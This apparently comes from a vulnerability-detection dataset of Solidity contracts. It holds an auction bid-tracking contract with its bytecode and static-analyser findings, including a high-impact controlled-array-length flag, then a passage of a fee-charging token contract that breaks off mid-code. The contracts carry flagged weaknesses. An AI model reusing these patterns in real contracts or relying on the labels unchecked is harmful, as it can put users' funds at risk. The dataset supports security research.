pragma solidity ^0.5.9; interface IRBAC { event RoleCreated(uint256 role); event BearerAdded(address indexed account, uint256 role); event BearerRemoved(address indexed account, uint256 role); function addRootRole(string calldata roleDescription) external returns(uint256); function removeBearer(address account, uint256 role) external; function addRole(string calldata roleDescription, uint256 admin) external returns(uint256); function totalRoles() external view returns(uint256); function hasRole(address account, uint256 role) external view returns(bool); function addBearer(address account, uint256 role) external; } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor (address _o) internal { require(_o != address(0), "Owner cannot be 0"); _owner = _o; emit OwnershipTransferred(address(0), _o); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract vnxAuctionSC is Ownable { //----------------------------------------------------------------------------------- // Data Structures //----------------------------------------------------------------------------------- enum StatusName {NEW, FUNDED, CANCELED} struct AuctionDetails { uint bookingId; // name and ticker should remain empty until the closure (with close function) of the auction string name; string ticker; bool isClosed; } struct BidStatus { StatusName status; // 0: New; 1: Paid; 2: Canceled address user; // user who initiated a bid address userStatusUpdate; // user who updated the status to present state (can be either user or admin) uint timeUpdate; } struct BidList { uint[] bids; // Bid hashes, the key to bidStatuses mapping uint timeInit; } //----------------------------------------------------------------------------------- // Variables, Instances, Mappings //----------------------------------------------------------------------------------- uint constant BULK_LENGTH = 50; address[] private users; AuctionDetails private auctionDetails; /* Bid's uint(Hash) is a param to this mapping */ mapping(uint => BidStatus) private bidStatuses; /* User who initiated the bids is a param to this mapping */ mapping(address => BidList) private userBids; IRBAC private _rbacManager; /** * @dev Throws if called by any account other than the admin */ modifier onlyAdmin() { require(isAdmin(), "RBAC: caller is not the admin"); _; } /** * @dev Returns true if the caller is the admin role */ function isAdmin() public view returns (bool) { return _rbacManager.hasRole(msg.sender, 0); } //----------------------------------------------------------------------------------- // Smart contract Constructor //----------------------------------------------------------------------------------- // name and ticker should remain empty until the closure (with close function) of the auction constructor (uint _bookingId, address _manager) public Ownable(_manager) { require(_bookingId != 0, "Booking ID should not be zero"); require(_manager != address(0), "RBAC manager should not be zero"); _rbacManager = IRBAC(_manager); auctionDetails.bookingId = _bookingId; } //----------------------------------------------------------------------------------- // View Functions //----------------------------------------------------------------------------------- function getAuctionDetails() external view returns (uint bookingId, string memory name, string memory ticker, bool isClosed) { return (auctionDetails.bookingId, auctionDetails.name, auctionDetails.ticker, auctionDetails.isClosed); } function getUsersLen() external view returns(uint) { return users.length; } function getUsersItem(uint _ind) external view returns(address) { if( _ind >= users.length ) { return address(0); } return users[_ind]; } function getBidListLen(address _user) external view returns(uint) { if (userBids[_user].timeInit==0) { return 0; } return userBids[_user].bids.length; } function getBidListHash(address _user, uint _ind) external view returns(uint) { if (userBids[_user].timeInit==0 || _ind >= userBids[_user].bids.length) { return 0; } return userBids[_user].bids[_ind]; } function getBidListItem(address _user, uint _ind) external view returns(uint status, uint timeUpdate) { if (userBids[_user].timeInit==0 || _ind >= userBids[_user].bids.length) { return (0,0); } return (uint(bidStatuses[userBids[_user].bids[_ind]].status), bidStatuses[userBids[_user].bids[_ind]].timeUpdate); } //----------------------------------------------------------------------------------- // Transact Functions //----------------------------------------------------------------------------------- event BidUpdated(uint indexed _hashBid, uint8 _newStatus); /** * IMPORTANT -- In case of value overflow no event is sent due to THROW (revert) -- this is rollback * @dev writes a bid to the blockchain * @param _user The address of a user which has the corrersponding hashBid. * @param _hashBid The hash of bid for the user to see/confirm his/her bid. * @param _newStatus The status of the bid. */ function writeBid(address _user, uint _hashBid, StatusName _newStatus) external returns (bool) { require(auctionDetails.isClosed == false, "Auction is already closed"); require(isAdmin() || msg.sender == _user, "Only admin or bid owner can write bids"); require(_newStatus == StatusName.NEW || _newStatus == StatusName.FUNDED || _newStatus == StatusName.CANCELED, "Wrong status id passed"); require(_hashBid != 0, "Bid hash cannot be zero"); return _writeBid(_user, _hashBid, _newStatus); } function _writeBid(address _user, uint _hashBid, StatusName _newStatus) internal returns (bool) { if (bidStatuses[_hashBid].timeUpdate != 0) { // bid already exists, simply update if (bidStatuses[_hashBid].status==_newStatus) { // no new actual status applied: simply report success without rewrite return true; } else { // check if _user owns _hashBid bool isBidOwner = false; for (uint i = 0; i<userBids[_user].bids.length; i++) { if (userBids[_user].bids[i]==_hashBid) { isBidOwner = true; } } if (!isBidOwner) { return false; } else { return _setBidState(_hashBid, _newStatus); } } } // Bid not exist yet if (userBids[_user].timeInit == 0) { // no such user registered yet users.push(_user); userBids[_user].timeInit = now; } userBids[_user].bids.push(_hashBid); BidStatus memory bidStatus; bidStatus.status = _newStatus; bidStatus.user = _user; bidStatus.userStatusUpdate = msg.sender; bidStatus.timeUpdate = now; bidStatuses[_hashBid] = bidStatus; emit BidUpdated(_hashBid, uint8(_newStatus)); return true; } event BatchBidsUpdated(uint indexed bulkId, uint processedCount); /** * @dev writes bids in a bulk to the blockchain * Bids state changes in the batch must be sorted by the time of their occurence in the system * * @param _bulkId The unique ID of the bulk which is calculated on the client side (by the admin) as a hash of some bulk bids' data * @param _bidUsers The array of addresses of users which have the corrersponding hashBid. * @param _hashBids The array of hashes of bids for users to see/confirm their bids. * @param _newStatuses The array of statuses of the bids. */ function writeBidsBatch(uint _bulkId, address[] calldata _bidUsers, uint[] calldata _hashBids, StatusName[] calldata _newStatuses) external onlyAdmin returns (bool) { require(_bidUsers.length == _hashBids.length, "Input arrays should be of the same size"); require(_bidUsers.length == _newStatuses.length, "Input arrays should be of the same size"); require(auctionDetails.isClosed == false, "Auction is already closed"); require(_bidUsers.length <= BULK_LENGTH, "Array length can not be larger than BULK_LENGTH"); uint _procCount = 0; uint[BULK_LENGTH] memory _itemsToSave; uint _itemsLength = 0; /** * _writeBid behaviour (write new bid or update bid status) depends on all bid write transactions being committed to the blockchain before _writeBid is called * so it will not work correctly when the batch contains new bid and subsequent status changes of this bid in the same batch * in which case _writeBid will erroneously consider state changes as new bids with the same hashes from the same user * * The following loop makes sure that only one (the latest) transaction for each unique bid in the batch will pass through to _writeBid call */ for (uint j = 0; j<_bidUsers.length; j++) { // run through all input entries if (_bidUsers[j] == address(0) || _hashBids[j] == 0 ) { revert('Wrong input parameters'); } for (uint k = 0; k < _itemsLength; k++) { // check previously saved entries if (_bidUsers[_itemsToSave[k]]==_bidUsers[j]) { // got the same user as current item if (_hashBids[_itemsToSave[k]]==_hashBids[j]) { // got the same bid hash, update status _itemsToSave[k] = j; continue; } } } _itemsToSave[_itemsLength++] = j; } for (uint k = 0; k < _itemsLength; k++) { // store filtered entries _procCount = _procCount + 1; _writeBid(_bidUsers[_itemsToSave[k]], _hashBids[_itemsToSave[k]], _newStatuses[_itemsToSave[k]]); } emit BatchBidsUpdated(_bulkId, _procCount); return true; } event BidStateChanged(uint indexed _hashBid, StatusName indexed _newStatus); function _setBidState( uint _hashBid, StatusName _newStatus ) internal returns (bool) { require(bidStatuses[_hashBid].status != StatusName.CANCELED, "Bid status is CANCELLED, no more changes allowed"); // check allowed statuses transitions if (bidStatuses[_hashBid].status == StatusName.FUNDED && _newStatus==StatusName.NEW) { revert('Status change not allowed: from FUNDED to NEW'); } bidStatuses[_hashBid].status = _newStatus; bidStatuses[_hashBid].userStatusUpdate = msg.sender; bidStatuses[_hashBid].timeUpdate = now; emit BidStateChanged(_hashBid, _newStatus); return true; } event AuctionClosed(); // NOT EMITTED -- _err = 3; _errMsqg = "Closing status in blockchain does not correspond to action" function closeAuction(string calldata _name, string calldata _ticker) external onlyAdmin returns (bool) { require(auctionDetails.isClosed==false, "Auction is already closed"); auctionDetails.isClosed = true; auctionDetails.name = _name; auctionDetails.ticker = _ticker; emit AuctionClosed(); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063cfde0f8411610066578063cfde0f8414610597578063dbad7db1146105f9578063f2fde38b1461066c578063f4fe1cee146106b0576100ea565b80638da5cb5b146105095780638f32d59b14610553578063b6db75a014610575576100ea565b80633ed96a3c116100c85780633ed96a3c1461026657806363803665146103ab57806369b1cc1614610491578063715018a6146104ff576100ea565b8063158ae2ae146100ef578063307f4ce4146101475780633a6dcea214610165575b600080fd5b6101316004803603602081101561010557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610719565b6040518082815260200191505060405180910390f35b61014f6107bc565b6040518082815260200191505060405180910390f35b61016d6107c9565b60405180858152602001806020018060200184151515158152602001838103835286818151815260200191508051906020019080838360005b838110156101c15780820151818401526020810190506101a6565b50505050905090810190601f1680156101ee5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561022757808201518184015260208101905061020c565b50505050905090810190601f1680156102545780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b6103916004803603608081101561027c57600080fd5b8101908080359060200190929190803590602001906401000000008111156102a357600080fd5b8201836020820111156102b557600080fd5b803590602001918460208302840111640100000000831117156102d757600080fd5b9091929391929390803590602001906401000000008111156102f857600080fd5b82018360208201111561030a57600080fd5b8035906020019184602083028401116401000000008311171561032c57600080fd5b90919293919293908035906020019064010000000081111561034d57600080fd5b82018360208201111561035f57600080fd5b8035906020019184602083028401116401000000008311171561038157600080fd5b9091929391929390505050610938565b604051808215151515815260200191505060405180910390f35b610477600480360360408110156103c157600080fd5b81019080803590602001906401000000008111156103de57600080fd5b8201836020820111156103f057600080fd5b8035906020019184600183028401116401000000008311171561041257600080fd5b90919293919293908035906020019064010000000081111561043357600080fd5b82018360208201111561044557600080fd5b8035906020019184600183028401116401000000008311171561046757600080fd5b9091929391929390505050610e9b565b604051808215151515815260200191505060405180910390f35b6104bd600480360360208110156104a757600080fd5b8101908080359060200190929190505050611022565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610507611079565b005b6105116111b2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61055b6111db565b604051808215151515815260200191505060405180910390f35b61057d611239565b604051808215151515815260200191505060405180910390f35b6105e3600480360360408110156105ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611323565b6040518082815260200191505060405180910390f35b6106526004803603606081101561060f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803560ff169060200190929190505050611429565b604051808215151515815260200191505060405180910390f35b6106ae6004803603602081101561068257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116a1565b005b6106fc600480360360408110156106c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611727565b604051808381526020018281526020019250505060405180910390f35b600080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154141561076e57600090506107b7565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054905090505b919050565b6000600180549050905090565b60006060806000600260000154600260010160028001600260030160009054906101000a900460ff16828054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108875780601f1061085c57610100808354040283529160200191610887565b820191906000526020600020905b81548152906001019060200180831161086a57829003601f168201915b50505050509250818054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109235780601f106108f857610100808354040283529160200191610923565b820191906000526020600020905b81548152906001019060200180831161090657829003601f168201915b50505050509150935093509350935090919293565b6000610942611239565b6109b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f524241433a2063616c6c6572206973206e6f74207468652061646d696e00000081525060200191505060405180910390fd5b848490508787905014610a12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806122e16027913960400191505060405180910390fd5b828290508787905014610a70576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806122e16027913960400191505060405180910390fd5b60001515600260030160009054906101000a900460ff16151514610afc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f41756374696f6e20697320616c726561647920636c6f7365640000000000000081525060200191505060405180910390fd5b6032878790501115610b59576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612255602f913960400191505060405180910390fd5b6000809050610b666120e1565b600080905060008090505b8a8a9050811015610d9657600073ffffffffffffffffffffffffffffffffffffffff168b8b83818110610ba057fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610bf157506000898983818110610be857fe5b90506020020135145b15610c64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f57726f6e6720696e70757420706172616d65746572730000000000000000000081525060200191505060405180910390fd5b60008090505b82811015610d6c578b8b83818110610c7e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168c8c868460328110610cbf57fe5b6020020151818110610ccd57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d5e57898983818110610d1257fe5b905060200201358a8a868460328110610d2757fe5b6020020151818110610d3557fe5b905060200201351415610d5d5781848260328110610d4f57fe5b602002018181525050610d5f565b5b5b8080600101915050610c6a565b5080838380600101945060328110610d8057fe5b6020020181815250508080600101915050610b71565b5060008090505b81811015610e5057600184019350610e428b8b858460328110610dbc57fe5b6020020151818110610dca57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff168a8a868560328110610df557fe5b6020020151818110610e0357fe5b905060200201358989878660328110610e1857fe5b6020020151818110610e2657fe5b90506020020135600281118015610e3c57600080fd5b506118d7565b508080600101915050610d9d565b508a7f82e97dcdfae63e6494ee844c04ce8e39deabc677c4c44066a6ca64e76ac8053f846040518082815260200191505060405180910390a260019350505050979650505050505050565b6000610ea5611239565b610f17576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f524241433a2063616c6c6572206973206e6f74207468652061646d696e00000081525060200191505060405180910390fd5b60001515600260030160009054906101000a900460ff16151514610fa3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f41756374696f6e20697320616c726561647920636c6f7365640000000000000081525060200191505060405180910390fd5b6001600260030160006101000a81548160ff021916908315150217905550848460026001019190610fd5929190612104565b508282600280019190610fe9929190612104565b507f36b6b46dc27de0e2e7407f09bfad8e27b837c2ce3153a08fdebf9279d2cd22b760405160405180910390a160019050949350505050565b600060018054905082106110395760009050611074565b6001828154811061104657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b919050565b6110816111db565b6110f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661121d611d62565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c97f4a23360006040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b1580156112e357600080fd5b505afa1580156112f7573d6000803e3d6000fd5b505050506040513d602081101561130d57600080fd5b8101908080519060200190929190505050905090565b600080600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015414806113ba5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001805490508210155b156113c85760009050611423565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001828154811061141557fe5b906000526020600020015490505b92915050565b6000801515600260030160009054906101000a900460ff161515146114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f41756374696f6e20697320616c726561647920636c6f7365640000000000000081525060200191505060405180910390fd5b6114be611239565b806114f457508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061222f6026913960400191505060405180910390fd5b6000600281111561155657fe5b82600281111561156257fe5b148061158457506001600281111561157657fe5b82600281111561158257fe5b145b806115a4575060028081111561159657fe5b8260028111156115a257fe5b145b611616576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f57726f6e6720737461747573206964207061737365640000000000000000000081525060200191505060405180910390fd5b600083141561168d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f42696420686173682063616e6e6f74206265207a65726f00000000000000000081525060200191505060405180910390fd5b6116988484846118d7565b90509392505050565b6116a96111db565b61171b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61172481611d6a565b50565b6000806000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015414806117c05750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001805490508310155b156117d757600080819150809050915091506118d0565b60066000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001858154811061182857fe5b9060005260206000200154815260200190815260200160002060000160009054906101000a900460ff16600281111561185d57fe5b60066000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000186815481106118ae57fe5b9060005260206000200154815260200190815260200160002060020154915091505b9250929050565b600080600660008581526020019081526020016000206002015414611a2b5781600281111561190257fe5b6006600085815260200190815260200160002060000160009054906101000a900460ff16600281111561193157fe5b14156119405760019050611d5b565b600080905060008090505b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000180549050811015611a095784600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000182815481106119e657fe5b906000526020600020015414156119fc57600191505b808060010191505061194b565b5080611a19576000915050611d5b565b611a238484611eae565b915050611d5b565b6000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541415611b245760018490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505042600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001839080600181540180825580915050906001820390600052602060002001600090919290919091505550611b98612184565b8281600001906002811115611ba957fe5b90816002811115611bb657fe5b8152505084816020019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505033816040019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505042816060018181525050806006600086815260200190815260200160002060008201518160000160006101000a81548160ff02191690836002811115611c6c57fe5b021790555060208201518160000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160020155905050837f4c173b704886219836929a62fd22d2e1d033441d940bb5102388f8734699bf37846002811115611d3a57fe5b604051808260ff1660ff16815260200191505060405180910390a260019150505b9392505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611df0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806122096026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600280811115611ebc57fe5b6006600085815260200190815260200160002060000160009054906101000a900460ff166002811115611eeb57fe5b1415611f42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806122b16030913960400191505060405180910390fd5b60016002811115611f4f57fe5b6006600085815260200190815260200160002060000160009054906101000a900460ff166002811115611f7e57fe5b148015611fa1575060006002811115611f9357fe5b826002811115611f9f57fe5b145b15611ff7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612284602d913960400191505060405180910390fd5b816006600085815260200190815260200160002060000160006101000a81548160ff0219169083600281111561202957fe5b0217905550336006600085815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055504260066000858152602001908152602001600020600201819055508160028111156120aa57fe5b837fcf11f60d66ade5830c3156729ad759f4afea388e5937c79bbd5847a4f1c5ca8c60405160405180910390a36001905092915050565b604051806106400160405280603290602082028038833980820191505090505090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061214557803560ff1916838001178555612173565b82800160010185558215612173579182015b82811115612172578235825591602001919060010190612157565b5b50905061218091906121e3565b5090565b60405180608001604052806000600281111561219c57fe5b8152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081525090565b61220591905b808211156122015760008160009055506001016121e9565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f6e6c792061646d696e206f7220626964206f776e65722063616e20777269746520626964734172726179206c656e6774682063616e206e6f74206265206c6172676572207468616e2042554c4b5f4c454e475448537461747573206368616e6765206e6f7420616c6c6f7765643a2066726f6d2046554e44454420746f204e4557426964207374617475732069732043414e43454c4c45442c206e6f206d6f7265206368616e67657320616c6c6f776564496e707574206172726179732073686f756c64206265206f66207468652073616d652073697a65a265627a7a72315820ab236d38e0d251c0130dbc6ec6cbd84608cea2d1aed7f246583ce35fa22001d164736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
239
0xc136abab2b66fe8f027d19c390d8a6bea46cbda7
// File: contracts/GLENCORE.sol // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GLENCORE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "GLENCORE"; string private constant _symbol = "GLENCORE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 6; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function 